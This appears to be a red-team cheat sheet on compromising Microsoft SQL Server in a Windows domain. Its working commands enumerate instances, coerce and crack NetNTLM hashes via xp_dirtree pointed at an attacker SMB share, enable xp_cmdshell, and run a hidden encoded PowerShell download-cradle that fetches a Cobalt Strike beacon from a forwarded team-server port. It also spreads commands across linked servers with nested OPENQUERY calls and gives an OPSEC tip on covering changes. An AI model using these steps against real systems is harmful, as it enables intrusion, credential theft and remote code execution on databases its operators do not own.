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MS SQL Servers

Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network.

In addition to the obvious data theft opportunities, they also have a large attack surface, allowing code execution, privilege escalation, lateral movement and persistence.

PowerUpSQL is an excellent tool to abuse and exploit MSSQL Servers.

Discovery

There are some cmdlets to find MSSQL Servers.

Get-SQLInstanceDomain
Get-SQLInstanceDomainBroadcast
Get-SQLInstanceScanUDP

Note: SQLInstanceDomain works by searching SPN that begins with MSSQL.

It is also important to search domain groups that sounds like they may have access to database instances for example SQLAdmins, MSSQLAdmin, etc…

Gather Information

With Get-SQLServerInfo we can get more information about the instance.

Get-SQLServerInfo -Instance "mssql.corp.io,1443"

Test Connection

Note If there are multiple SQL Servers, we can chain these commands.

Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLServerInfo

Query the Server

There are different ways to access to a MSSQL Server, but we can access when a user have sysadmin role for the instance.

Get-SQLQuery -Instance "mssql.corp.io,1443" -Query "select @@servername"

Column1
-------
MSSQL 

python3 mssqlclient.py -windows-auth CORP/bob@10.10.10.10

sqsh -S 10.10.10.10 -U bob -P P@ssw0rd! -D databaseName

Windows SQL GUI tool.

Heidi SQL

MSSQL NetNTLM Capture

MSSQL have some procedures, xp_dirtree can be used to capture the NetNTLM hash of the principal being used to run the MSSQL Service.

We can use Inveigh to capture the NetNTLM hash.

beacon> execute-assembly C:\Tools\Inveigh.exe -DNS N -LLMNR N -LLMNRv6 N -HTTP N -FileOutput N

After starting the Listener, we can execute the xp_dirtree procedure and list a smb share of our listener.

EXEC xp_dirtree '\\attacker-ip\pwn', 1, 1

Finally we can crack the hash with hashcat or john.

hashcat -a 0 -m 5600 mssql.hash wordlist

john --format=netntlmv2 --wordlist=wordlist mssql.hash

Command Execution

The xp_cmdshell procedure can be used to execute shell commands on the SQL Server.

Invoke-SQLCmd -Instance "mssql.corp.io,1443" -Command "whoami" -RawResults

corp\svc_mssql

Note: Invoke-SQLCmd automatically attemp to enable xp_cmdshell, execute the given command an then re-disable it.

  • Manually:
EXEC xp_cmdshell 'whoami';

Sometimes this can lead an error due to xp_cmdshell is disabled. Check the configuration with the following command.

SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';

Reconfigure the value to 1 in order to enable the procedure.

sp_configure 'Show Advanced Options', 1; RECONFIGURE; sp_configure 'xp_cmdshell', 1; RECONFIGURE;

And finally execute the command.

EXEC xp_cmdshell 'whoami';

OPSEC Alert: Ensure you set the configuration to the original values after making a change on configurations.

Note: There is a SQL command length limit that will prevent you from sending large payloads directly in the query, use Reverse Port Forwards and Pivot Listeners.

Beacon Execution

Since MSSQL Server does not have access to the team server and the payload is hosted on the team server, we can do a reverver port forwarding to forward port 80 of the TeamServer to port 8080 of the beacon.

beacon> rportfwd 8080 <ip-teamserver> 80

Create a Pivot Listener and host it via Scripted Web Delivery.

$str = IEX((New-Object Net.WebClient).DownloadString('http://<ip-beacon>:8080/s1'))
[Ssystem.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))

Finally append the command to the xp_cmdshell procedure.

EXEC xp_cmdshell 'powershell -w hidden -enc <B64-EncodedCommand>';

Lateral Movement (Linked Servers)

SQL Servers have a concept called “Linked Servers”, which allows a database instance to access data from an external source.

We can discover Database Links in many ways.

SELECT * FROM master..sysservers;

Query a Remote Instance

With OpenQuery we can query a remote instance:

SELECT * FROM OPENQUERY("sql-1.corp.local", 'select @@servername');

Note: The use of double and single quotes are important when using OpenQuery.

It is not possible to enable xp_cmdshell via OpenQuery. If RPC Out is enabled on the link which is not the default configuration, you can enable xp_cmdshell using the following command:

EXEC('sp_configure ''show advanced options'', 1; reconfigure;') AT [sql-1.corp.local]
EXEC('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT [sql-1.corp.local]

Crawl between Instances

Manually querying databases to find links can consume a lot of time. We can use Get-SQLServerLinkCrawl to automatically crawl all available links.

beacon> powershell Get-SQLServerLinkCrawl -Instance "mssql.corp.local,1443"

We can execute commands manually by concatenating commands:

SELECT * FROM OPENQUERY("mssql.corp.local", 'select @@servername; exec xp_cmdshell ''powershell -w hidden -enc <base64>''')

SELECT * FROM OPENQUERY("mssql.corp.local", 'select * from openquery("sql01.extcorp.local", ''select @@servername; exec xp_cmdshell ''''powershell -enc <base64>'''''')')

And more over…

Get-SQLServerLinkCrawl has an easier way to execute commands on every hop:

powershell Get-SQLServerLinkCrawl -Instance "mssql.corp.local,1443" -Query "exec master..xp_cmdshell 'powershell -w hidden -enc <base64>'"

Privilege Escalation

This instance of SQL is running as NT Service\MSSQL$SQLEXPRESS, which is generally configured by default on more modern SQL installers. It has a special type of privilege called SeImpersonatePrivilege. This allows the account to “impersonate a client after authentication”.

Consult Windows Privesc section to check how to privesc.